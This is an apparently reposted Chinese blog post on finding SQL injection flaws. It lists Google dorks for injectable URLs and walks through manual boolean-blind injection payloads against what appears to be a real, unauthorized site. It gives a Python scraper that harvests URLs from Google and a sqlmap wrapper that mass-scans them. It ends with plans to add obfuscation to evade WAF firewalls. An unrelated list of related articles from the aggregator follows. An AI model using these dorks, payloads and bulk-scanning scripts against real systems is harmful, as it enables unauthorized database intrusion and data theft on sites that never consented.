【WEB安全】SQL注入挖掘

news2024/9/29 3:24:10

文章目录

  • 前言
  • 一、sql注入的分类
    • 注入漏洞存在位置
  • 二、漏洞挖掘
    • Google语法
    • 疑似注入点手工挖掘
    • 批量挖取此类漏洞
    • 已知sql注入漏洞挖掘
  • 总结
  • 免责声明:


前言

2021年OWASP发布漏洞威胁榜单,SQL注入从第一名下降到第三(https://owasp.org/Top10/),SQL注入是一种常见的Web攻击技术,通过构造恶意的SQL语句来破坏数据库安全。攻击者可以通过提交带有恶意代码的输入,例如网页表单,来控制数据库执行恶意语句。这样,攻击者可以访问敏感信息,修改数据,甚至删除整个数据库。

为了防范SQL注入攻击,开发人员应该使用参数化查询或存储过程,并对用户输入进行严格的验证和过滤。这样可以确保用户输入不会被作为恶意代码注入到数据库中。

一、sql注入的分类

  1. 数字型注入:使用数字代替字符串来绕过数据验证。
  2. 字符型注入:使用字符串作为SQL语句的一部分来构造恶意代码。
  3. 时间型注入:使用时间数据类型作为SQL语句的一部分来构造恶意代码。
  4. UNION型注入:使用UNION操作符来合并多个查询的结果。
  5. 报错型注入:通过诱导数据库产生错误来获取数据。
  6. 基于盲注的注入:通过查询询问数据库中的数据来获取敏感信息。

注入漏洞存在位置

  • 用户输入的表单:Web应用程序中经常使用表单来收集用户的输入数据,如用户名、密码、搜索关键字等。如果应用程序没有正确验证和过滤用户输入数据,攻击者就可以在输入框中注入恶意的SQL语句,从而绕过应用程序的访问控制和数据过滤机制,对应用程序进行攻击。

  • URL参数:Web应用程序也经常从URL中获取参数,例如搜索查询、页面过滤等。如果应用程序没有正确验证和过滤URL参数,攻击者就可以修改URL参数中的值,构造恶意的SQL语句进行攻击。

  • Cookie数据:Web应用程序有时会将数据存储在用户的Cookie中,如果攻击者可以修改这些Cookie数据,就可以通过注入恶意的SQL语句来攻击应用程序。

  • 隐藏表单:Web应用程序中有些表单是隐藏的,用户无法直接访问或编辑,但攻击者可以通过特殊的手段修改这些隐藏表单的值,从而构造恶意的SQL语句进行攻击。

  • HTTP请求头:某些Web应用程序也会从HTTP请求头中获取参数,如用户代理、IP地址等。如果应用程序没有正确验证和过滤这些参数,攻击者就可以构造恶意的SQL语句进行攻击。

事例:登录位置
在这里插入图片描述
表单反馈位置:
在这里插入图片描述
搜索框位置
在这里插入图片描述
留言板等
在这里插入图片描述
参数传递:
在这里插入图片描述

二、漏洞挖掘

Google语法

后面跟任意值

inurl:php?id=
inurl:asp?id=
inurl:index.php?id=
inurl:news.php?id=
inurl:product.php?id=
inurl:category.php?id=
inurl:detail.php?id=
inurl:download.php?id=
inurl:gallery.php?id=
inurl:login.php?user=

更多规则:https://www.buzztouch.com/applications020113/JA56066181BD8600604F8D687/documents/customHTML_D6743F2710E179C07158D34.html
在这里插入图片描述

疑似注入点手工挖掘

在这里插入图片描述
加个单引号试一下
发现报错,这是一个典型的布尔盲注
在这里插入图片描述
在这里插入图片描述
通过order by 判断为21列
在这里插入图片描述

判断数据库名的长度
22’ and length(database())>6
22’ and length(database())>7 时报错说明数据库名有6个字符

在这里插入图片描述

id=22' and mid(database(),1,1)='a' --+
id=22' and mid(database(),1,1)='h' --+当为h时为正常显示说明数据库的第一个字母为h

在这里插入图片描述
在这里插入图片描述
布尔盲注建议使用工具进行测试,手工太慢,这里我们使用sqlmap工具进行下一步查询

在这里插入图片描述
跑出来发现是和我们手工注入一样的结果,字段为21个数据库名以h开头的,到此为止不在进行利用。

批量挖取此类漏洞

使用脚本批量爬取可疑url进行测试
注意:此爬虫一个规则只能爬取100条数据,并对不规则数据进行去除。

import re
import requests
from bs4 import BeautifulSoup
import urllib3

urllib3.disable_warnings()

USER_AGENT = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0"
site = ".cn"
queries = []
with open("queries.txt", "r") as f:
    queries = [query.strip() for query in f.readlines()]

num = 100
results = []
for query in queries:
    query = query.replace(' ', '+')
    URL = f"https://google.com/search?q={query}&num={num}"

    headers = {"user-agent": USER_AGENT}
    resp = requests.get(URL, headers=headers, verify=False)

    if resp.status_code == 200:
        soup = BeautifulSoup(resp.content, "html.parser")

        for g in soup.find_all('div'):
            anchors = g.find_all('a')
            if anchors:
                for anchor in anchors:
                    try:
                        link = anchor.get('href')
                        if re.match(r'^/url\?q=', link):
                            link = re.sub(r'^/url\?q=', '', link)
                            link = re.sub(r'&sa=.*', '', link)
                        if link and link.find('search?q') == -1 and link.find('google.com') == -1:
                            if link.startswith("http://") or link.startswith("https://"):
                                if link not in results:
                                    results.append(link)
                    except:
                        pass

with open("urls.txt", "w") as f:
    for result in results:
        f.write(result + "\n")

使用方法:创建queries.txt存放规则
在这里插入图片描述
执行python程序即可爬取,爬取完成会生成url.txt文件。

使用sqlmap的批量脚本进行测试

import os
import sys
import argparse
import time

def main():
    # 创建一个命令行参数解析器
    parser = argparse.ArgumentParser(description="批量扫描 SQL 注入漏洞")

    # 添加参数
    parser.add_argument('-i', '--input', required=True, help="包含要扫描的URL的文件路径")
    parser.add_argument('-o', '--output', default='output.txt', help="保存扫描结果的文件路径")
    parser.add_argument('-p', '--params', default='id', help="指定需要测试的参数名,多个参数用逗号分隔")
    parser.add_argument('-t', '--threads', default='10', help="同时进行扫描的线程数")

    # 解析参数
    args = parser.parse_args()

    # 读取要扫描的URL列表
    with open(args.input, 'r') as f:
        urls = f.readlines()

    # 遍历URL列表,对每个URL进行扫描
    for url in urls:
        url = url.strip()
        if not url.startswith('http'):
            url = 'http://' + url
        cmd = 'sqlmap -u "{}" -p "{}" --threads {} --batch -o -f -m "{}" > {} 2>&1 &'.format(url, args.params, args.threads, args.output, args.output)


        # 执行扫描命令
        os.system(cmd)
        # 等待一段时间,确保扫描结果已经写入到文件中
        time.sleep(10)

    # 输出有漏洞的URL
    with open(args.output, 'r') as f:
        lines = f.readlines()
        for line in lines:
            if '[*]' in line and 'GET' in line:
                start = line.index('\'') + 1
                end = line.index('\'', start)
                print(line[start:end])

if __name__ == '__main__':
    main()
使用说明:
-i:URl列表
-p:参数多个参数用逗号隔开
-t:为线程数
-o:结果输出文件
python sqlmap_scan.py -i urls.txt -p id,name -t 5 -o results.txt

已知sql注入漏洞挖掘

在漏洞库中有许多已经公开的sql注入漏洞,可通过fofa、shodan、钟馗之眼等查找
自建漏洞库(镜像站):
http://peiqi.19xinan.cn/#/
http://0sec.19xinan.cn/#/
在这里插入图片描述
在这里插入图片描述
根据poc测试:
在这里插入图片描述
很容易发现漏洞,当然可以给漏洞写批量脚本进行批量挖掘。

总结

在挖掘的过程中学习漏洞产生的原因,复现和寻找源码中的漏洞进行提高自己水平,现在的sql注入漏洞已经改善不少随着网络安全的发展现在很多公司有waf防火墙,下一步计划加强上面的脚本加上代码混淆尝试绕过一些防火墙。

免责声明:

本文为作者个人观点,不代表本平台或任何其他机构的立场和观点。本文所包含的任何信息、观点和建议仅供参考和信息交流,读者应自行判断其适用性。

本文所涉及的任何产品、服务、企业、机构、网站或其他信息均为作者个人观点,不构成任何形式的推荐或背书。作者不对因读者根据本文内容采取的任何行动负责,也不承担任何责任。

本文的内容并不保证完全准确、全面或最新,且可能存在错误或遗漏。读者在参考本文内容时应自行进行验证和核实。任何因读者根据本文内容采取的任何行动造成的损失或损害,作者概不负责。

本文的版权归作者所有,未经作者许可,任何人不得擅自转载、复制或用于商业用途。如需转载或引用,请注明出处并联系作者。

最后,作者保留随时修改本文内容和免责声明的权利。请读者在使用本文内容时注意查看最新版本的免责声明。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/353790.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

从0开始学python -34

Python3 输入和输出-2 读和写文件 open() 将会返回一个 file 对象,基本语法格式如下: open(filename, mode)filename:包含了你要访问的文件名称的字符串值。mode:决定了打开文件的模式:只读,写入,追加等。…

数据分析| Pandas200道练习题,使用Pandas连接MySQL数据库

文章目录使用Pandas连接数据库编码环境依赖包read_sql_query()的使用read_sql_table()的使用read_sql() 函数的使用to_sql()写入数据库的操作删除操作更新操作总结:使用Pandas连接数据库 通过pandas实现数据库的读,写操作时,首先需要进行数据…

kubernetes教程 -- k8s组件

k8s组件 maste节点 apiServer:资源操作的唯一入口,接受用户的输入,提供认证,控制访问等功能Scheduler:负责集群的资源调度,按照预定的调度策略将Pod调度到相应的node节点上controllerManager:负…

JVM学习篇剖析JVM类加载机制

1. 类加载运行全过程 当我们用java命令运行某个类的main函数启动程序时,首先需要通过类加载器把主类加载到JVM。 public class Math {private static int initData 6666;public static User user new User();private int compute() {int a 1;int b 3;int c (…

【vue后台管理系统】基于Vue+Element-UI+ECharts开发通用管理后台(下)

文章目录面包屑导航制作效果展示思路分析代码实现过程需求优化用户管理页面效果展示新增用户表单实现table组件编写分页功能编写搜索功能编写附:ES6的解构赋值数组模型的解构(Array)对象模型的解构(Object)面包屑导航制…

[Linux篇] Linux常见命令和权限

文章目录使用XShell登录Linux1.Linux常用基本命令:1.1 ls(列出当前的目录下都有哪些文件和目录)1.2 cd (change directory 切换目录)1.3 pwd(查看当前目录的绝对路径)1.4 touch(创建文件)1.5 ca…

数据库系统是什么?它由哪几部分组成?

数据库系统(Database System,DBS)由硬件和软件共同构成。硬件主要用于存储数据库中的数据,包括计算机、存储设备等。软件部分主要包括数据库管理系统、支持数据库管理系统运行的操作系统,以及支持多种语言进行应用开发…

TestNG单元测试框架-常用注解介绍以及testng和Junit的区别【杭州多测师_王sir】【杭州多测师】...

一、TestNG单元测试框架-常用注解介绍 testng学习网址:https://www.jc2182.com/testng/testng-environment.html 1、Before类别和After类别注解按照如下循序执行BeforeSuite->BeforeTest->BeforeClass->{BeforeMethod->Test->AfterMethod}->After…

微信支付Native下单API接口正确调用姿势

商户Native支付下单接口,微信后台系统返回链接参数code_url,商户后台系统将code_url值生成二维码图片,用户使用微信客户端扫码后发起支付。 文档地址:微信支付-开发者文档 目录 一、Native下单接口简介 二、如何正确调通接口 (…

5. AOP

一、如何定义一个MethodHandler? 1.Controller注解修饰的类 1.注册成Spring Bean 2.表示它是一个SpringMVC下的Controller 2.在这个类下的方法中,只要被RequestMapping修饰&&方法的形参符合规定(需要看文档) 方法的返回值符合规定…

VK0256/B/C玩具、冷气机等段码液晶驱动芯片(IC)(32EGx8COM)技术资料选表

K PP 2543型号:VK0256/B/C封装形式:QFP64/LQFP64/LQFP52 VK0256/B/C是一个点阵式存储映射的LCD驱动器,可支持最大256点(32EGx8COM)的LCD屏。单片机可通过3/4线串行接口配置显示参数和发送显示数据,也可通过…

与ChatGpt聊天,学习golang标签的反射机制

与ChatGpt聊天,学习golang标签的反射机制引ChatGPT火了以后,本拐先是恐惧,之后是拥抱。最近很多编程知识的学习,都是通过 chatgpt来搞定。众所周知,本拐就是一个啥技术都半斤八两的程序员,这次,…

05服务发现:引入etcd服务注册中心

在分布式微服务架构中,服务注册发现组件(通常称为服务注册中心)往往有着举足轻重的作用,它的性能与稳定可能会直接影响到整个服务的状态,比如Spring Cloud中的Eureka、Dubbo中的Zookeeper等等,接下来我们就gRPC微服务中最常见的服务注册中心etcd,来讲述下两者在具体是怎…

Mr. Cappuccino的第41杯咖啡——Kubernetes之Pod调度策略

Kubernetes之Pod调度策略Pod的4种调度策略定向调度nodeNamenodeSelector亲和性调度node亲和性硬限制软限制关系运算符pod亲和性pod反亲和性污点和容忍污点(taints)容忍(tolerations)默认情况下,Scheduler计算出一个Pod…

conda 搭建tensorflow-GPU和pycharm以及VS2022 软件环境配置

conda 搭建tensorflow-GPU和pycharm以及VS2022 软件环境配置一、TensorFlow 环境配置安装1. Anaconda下载安装2.conda创建tensorflow环境二、pycharm以及VS2022 环境配置2.1 pycharm 软件安装以及环境配置2.2.1 pycharm 软件安装2.2.2 pycharm 软件conda环境配置2.2 Visual Stu…

注意!华为折叠屏手机的原厂膜不能自己撕!

对于用惯了直板手机的朋友来说,新机开箱撕膜是一件十分有“仪式感”的事情,但是对于折叠屏手机来说,这样的操作万万不可。华为折叠屏手机在使用的过程中也有着和传统智能手机不一样的注意事项,下面这几点大家在入手折叠屏手机之后…

如何利用Power Virtual Agents机器人进行设备维修登记

今天我们来介绍如何利用PVA聊天机器人进行设备维修登记。设计思路是在PVA聊天机器人的对话框中输入“设备维修”触发短语后进行设备维修登记,然后通过自动化流程将维修信息存入到Lists中并通过邮件的形式发送给负责设备维修的人员。 首先,在PVA聊天机器人…

【yolov5】将标注好的数据集进行划分(附完整可运行python代码)

问题描述 准备使用yolov5训练自己的模型,自己将下载的开源数据集按照自己的要求重新标注了一下,然后现在对其进行划分。 问题分析 划分数据集主要的步骤就是,首先要将数据集打乱顺序,然后按照一定的比例将其分为训练集&#xf…

【Blender】使用Blender渲染一段360度旋转的动画

目录一、前言二、方法描述三、渲染设置四、结果一、前言 本文主要讲述了如何使用Blender渲染一段物体360度旋转的动画。 渲染好的效果如下: 二、方法描述 第一步:shiftA,我们在Blender里新建一个平面 第二步:摁s键(scale)&…

(三十五)Vue之过渡与动画

文章目录概述单元素/组件的过渡CSS动画CSS过渡多元素/组件的过渡集成第三方动画Animate上一篇:(三十四)Vue之新生命周期钩子nextTick 概述 Vue 在插入、更新或者移除 DOM 时,提供多种不同方式的应用过渡效果。包括以下工具&…